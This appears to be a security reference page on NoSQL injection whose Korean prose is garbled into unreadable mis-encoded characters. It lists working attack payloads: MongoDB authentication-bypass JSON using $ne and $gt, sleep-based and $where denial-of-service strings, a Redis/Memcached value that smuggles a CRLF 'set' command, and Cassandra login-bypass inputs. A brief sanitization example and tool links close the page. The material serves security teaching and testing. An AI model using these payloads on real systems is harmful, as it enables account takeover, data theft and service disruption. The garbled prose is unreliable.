๐ Introduction
NoSQL Injection์ SQL์ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ์๋ ค์ง DBMS๋ฅผ ์ ์ธํ ๋๋จธ์ง Database์ ๋ํ Injection ๊ณต๊ฒฉ์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก NoSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ๊ธฐ์กด SQL ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ณด๋ค consistency check๊ฐ ๋์จํฉ๋๋ค. NoSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ relational constraints์ consistency check๋ฅผ ๋ ์๊ตฌํ๊ธฐ ๋๋ฌธ์ ์ฑ๋ฅ์ด๋ ํ์ฅ์์์ ์ด์ ์ด ํฝ์ง๋ง SQL ๋ฌธ๋ฒ์ด ์๋ ๊ฐ๊ฐ์ ์์คํ ์ ์ฟผ๋ฆฌ ๋ฌธ๋ฒ ๋ฑ์ ๋ํ Injection ๊ณต๊ฒฉ์ ๋์ผํ๊ฒ ์ํฅ์ ๋ฐ์ต๋๋ค.
NoSQL: Not only SQL, Non-Relational Operational Database
๊ทธ๋์ ๋์์ด ๊ต์ฅํ ๋ง์๋ฐ, MongoDB ๊ฐ์ Document Store ๋ถํฐ Hadoop, Cassandra ๋ฑ Wide Column Store ๊ทธ๋ฆฌ๊ณ Redis ๊ฐ์ Key Value / Tuple Store ๊น์ง ๋ง์ ์์คํ ์ด ๋์์ด ๋ฉ๋๋ค. NoSQL ์๋น์ค์ ๋ฆฌ์คํธ๋ ์๋ ๋งํฌ์์ ํ์ธํด์ฃผ์ธ์.
- https://hostingdata.co.uk/nosql-database/
๐ก Offensive techniques
Detect
ํ์ธํ ์ ์๋ ๋ฐฉ๋ฒ์ SQL Injection๊ณผ ๋์ผํฉ๋๋ค. NoSQL์์ ์ฌ์ฉํ๋ ๋ฌธ๋ฒ์ด๋ ํค์๋ ๋ฑ์ ์ด์ฉํ์ฌ ๋ฐฑ์๋์ ์ด๋ค NoSQL์ด ์ฐ๋๋์ด ์๋์ง ์ถ์ธกํ๊ณ , ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ฐ๋ฐ์๊ฐ ์๋ํ ์ฟผ๋ฆฌ๋ฅผ ๋ฒ์ด๋๋๋ก ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ ๋ง๋ค์ด ์ํํ ์ ์์ต๋๋ค.
Boolean-based
๊ฐ์ฅ ๋ํ์ ์ธ ์์๋ MongoDB์์ $ne(not equal), $gt(greater) ๋ฑ์ ์ด์ฉํ์ฌ ์ฐธ/๊ฑฐ์ง์ ์ ๋ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ๋ง์ฝ ์๋์ ๊ฐ์ ๋ก๊ทธ์ธ ์์ฒญ์ด ์๋ค๊ณ ๊ฐ์ ํ๋ค๋ฉด ์ด๋ ๊ฒ ํ ์คํธํด๋ณผ ์ ์์ต๋๋ค.
POST /login HTTP/1.1
{"username": "userid", "password": "password"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
์ ์ผ์ด์ค๋ค์ ํ์ด์๋ณด๋ฉด {"username": {"$ne": null}, "password": {"$ne": null}}
๊ธฐ์ค์ผ๋ก username์ด null์ด ์๋๊ฑฐ๋, password๊ฐ null์ด ์๋ ๊ฒฝ์ฐ๋ก MongoDB๋ก ์ ๋ฌ๋๊ณ , MongoDB๋ ๋ฐ์ดํฐ ๋ด ๋ ์กฐ๊ฑด์ ๋ง์กฑํ๋์ง ์ฒดํฌํ๊ณ ํต๊ณผ์ํค๊ธฐ ๋๋ฌธ์ ๋ง์กฑ๋์ด ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๊ฒ ๋ฉ๋๋ค.
Time-based
sleep() ๊ตฌ๋ฌธ๊ฐ์ด ๋๋ ์ด๋ฅผ ์ง์ํ๋ NoSQL์ ๊ฒฝ์ฐ ์ด๋ฌํ ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ Response๊ฐ ๋์ฐฉํ๋ ์๊ฐ์ ๊ณ์ฐํ์ฌ Blind๋ก๋ ์๋ณํ ์ ์์ต๋๋ค. ๋ค๋ง ์ด๋ฌํ ๋ฐฉ์์ RCE์ ํผ๋์ด ๋ ์ ์๊ธฐ ๋๋ฌธ์ ๋ง์ฝ Blind NoSQL Injection์ ์ฐพ์๋ค๋ฉด RCE๋ ๋ค๋ฅธ ์ทจ์ฝ์ ์ ์ฌ๋ถ๋ฅผ ๊ฐ์ด ์ฒดํฌํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
GET /findUser?userName=abcd';%20sleep(4000)'
Exploitation
SQL Injection๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก ๊ณต๊ฒฉ์ ํตํด NoSQL ๊ตฌ๋ฌธ์ ํต์ ํ ์ ์์ต๋๋ค. NoSQL์ด ์๋น์ค์ ์ฌ์ฉ๋๋ ๋ถ๋ถ์ ๋ฐ๋ผ์ ์ธ์ฆ ์ฐํ๋ ์ค์์ ๋ณด ํ์ทจ, ์บ์ ๋ฐ์ดํฐ ํ์ทจ ๋ฑ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
Bypass Authentication
{
"username": "admin",
"password": {
"$ne": "hitttt"
}
}
DoS
Source
Db.collection.find({
$where: function(){
Return (this.name == $userInput)
}
}
);
Attack
'; sleep(4000)'
More
์์์ ์ด์ผ๊ธฐ๋๋ ธ๋ฏ์ด NoSQL์ด ์ฐ๋๋ ๊ตฌ๊ฐ์ ๋ฐ๋ผ์ ์ํฅ๋ ฅ์ ๋์ ๋ฒ์๋ก ํ์ฅ๋ ์ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ํด๋น NoSQL ์์คํ ์ ๋ํ CRUD(Creat/Read/Update/Delete), ๊ทธ๋ฆฌ๊ณ ์์คํ ์์ ์ ๊ณตํ๋ ๊ธฐ๋ฅ์ ๋ฐ๋ผ์ ์๋น์ค์ ๋ฌธ์ ๋ฅผ ๋ง๋ค๊ฑฐ๋ ์์คํ ํ์ทจ๊น์ง ์ด์ด์ง ์ ์์ต๋๋ค.
Payload of Targets
MongoDB
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
{"$gt": ""}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
Memcached/Redis
Set key
{
"username": "admin\r\nset injected 0 3600 10\r\n123456789012345678901234567890\r\n",
"password": "test"
}
Confused Key
{
"username": {
"admin",
"super-admin"
}
"password": "test"
}
Cassandra
Bypass Login
{
"username": "admin' ALLOW FILTERING; %00",
"password": "test"
}
{
"username": "admin'/*",
"password": "*/and pass>"
}
๐ก Defensive techniques
SQL Injection๊ณผ ๋์ผํ๊ฒ ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ฌ๋ฐ๋ ๊ฐ์ ์ ๋ขฐํ์ง ์์์ผํฉ๋๋ค. ๊ทธ๋์ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ ๊ทธ๋๋ก NoSQL์ ์ฒ๋ฆฌํ๋ ๊ฒฝ์ฐ sanitize๋ nosql์ ๋ํ protection ๋ก์ง์ ์ํํ ํ ๊ฐ์ ๋๊ฒจ์ค์ผ ํฉ๋๋ค.
var sanitize = require('mongo-sanitize');
app.post('/user', function (req, res) {
var query = {
username: sanitize(req.body.username),
password: sanitize(req.body.password)
}
db.collection('users').findOne(query, function (err, user) {
console.log(user);
});
});
๐น Tools
- ZAP - ActiveScan Alpha Rule(NoSQL Injection - MongoDB)
- Burpsuite - NoSQLi Scanner
- https://github.com/codingo/NoSQLMap
- https://github.com/digininja/nosqlilab
๐ Articles
- https://www.hahwul.com/2016/01/12/web-hacking-nosql-injection-mongodb/
๐ References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection